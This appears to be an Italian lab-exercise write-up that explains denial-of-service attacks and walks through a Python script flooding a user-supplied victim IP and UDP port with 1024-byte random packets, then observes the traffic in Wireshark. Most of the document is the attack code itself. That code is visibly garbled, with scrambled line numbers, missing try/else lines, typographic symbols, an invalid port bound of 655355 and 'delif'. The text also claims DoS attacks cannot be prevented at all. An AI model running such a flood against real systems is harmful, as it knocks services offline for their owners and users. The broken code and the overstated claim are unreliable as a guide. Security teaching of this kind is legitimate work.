Cos'è un attacco DoS

Gli attacchi DoS sono tra gli attacchi più diffusi in assoluto.

Non c'è modo di prevenire questo tipo di attacchi, al contrario degli attacchi visti in precedenza.

L'obiettivo principale è rendere un servizionon disponibile per gli utenti legittimi, saturando le risorse del server, come la rete, la memoria o la CPU, impedendo al server di rispondere a ulteriori richieste.

L'attacco viene solitamente eseguito inviando un volume elevato di traffico al server di destinazione, sovraccaricandolo.

Obiettivo dell'esercizio

Attaccare una macchina con programma scritto in Python, che invii in modo massivo pacchetti tramite il protocollo UDP.

I pacchetti avranno dimensione di 1024 byte.

La porta di destinazione è una a scelta inserita in input dall'utente, da 1 a 65535.

Programma in python

Fase 0: importazione delle librerie

```
1 import socket
2 import random
3 import ipaddress
```

import socket: serve per creare la connessione con il target vittima e per effettuare l'attacco DoS.

import random: lo utilizziamo per randomizzare il contenuto dei pacchetti con bit casuali.

import ipaddress: serve per verificare l'indirizzo IP in input inserito dall'utente.

Fase 1: creazione del metodo udp dos

```
5 def udp_dos(ip_vittima, porta_udp, numero_pacchetti):
 7
8
           udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
           dati_pacchetto = bytearray(random.getrandbits(8) for _ in range(1024))
 9
10
           print("\nAttacco DoS in corso verso " + ip_vittima + ":" + str(porta_udp) + "...")
           for _ in range(numero_pacchetti):
13
               udp_socket.sendto(dati_pacchetto, (ip_vittima, porta_udp))
       print("Si è verificato un errore durante l'attacco DoS: ", error)
finally:
14
15
16
           if udp_socket:
17
18
               print("Attacco DoS terminato.")
19
               udp_socket.close()
```

Questo metodo riceve in input le variabili ip della vittima, porta e numero di pacchetti.

Dopodiché il metodo creerà una connessione con il dispositivo vittima ed effettuerà l'attacco.

L'attacco continuerà a inviare pacchetti per il numero di pacchetti definito in input tramite il ciclo for.

Fase 2: raccolta dati in input

```
25 try:
26   ip_vittima = input("\nInserisci l'IP della vittima: ")
27   porta_udp = int(input("Inserisci la porta UDP della vittima (1-65535): "))
28   numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))
29
```

Richiediamo in input i 3 dati necessari per effettuare l'attacco DoS, ovvero:

- indirizzo ip della vittima
- la porta
- il numero di pacchetti da inviare

Fase 3: controllo dell'input

```
30
      print("\n*****************
31
      print("Verifica dell'input ... ")
      print("***********************
32
33
34
35
          ipaddress.ip_address(ip_vittima)
           print("\nL'indirizzo IP è valido.")
36
      except ValueError:
37
          print("\nL'indirizzo IP non è valido.")
38
39
40
      if porta_udp ≥ 1 & porta_udp ≤ 655355:
          print("La porta inserita è valida.")
41
42
          print("La porta inserita non è valida.")
43
44
45
      if numero_pacchetti < 1:</pre>
46
          print("Il numero di pacchetti è inferiore a 1.")
47
          print("Il numero di pacchetti è valido.")
48
```

Verifico che i dati inseriti siano validi.

Fase 4: richiamo il metodo per eseguire l'attacco DoS

```
inizio_dos = input("\nVuoi far partire l'attacco? [y/n]: ")

if inizio_dos = "y":
    udp_dos(ip_vittima, porta_udp, numero_pacchetti)

delif inizio_dos = "n":
    print("\nL'attacco è stato annullato.")
```

Chiedo conferma all'utente se vuole iniziare l'attacco.

Se viene data conferma, verrà richiamato il metodo dichiarato all'inizio che effettuerà l'attacco DoS.

Conclusione



Tramite wireshark riusciamo a vedere l'attacco DoS in corso verso il dispositivo vittima.

Un attacco DoS prolungato manderebbe in down il dispositivo vittima, saturando CPU e RAM.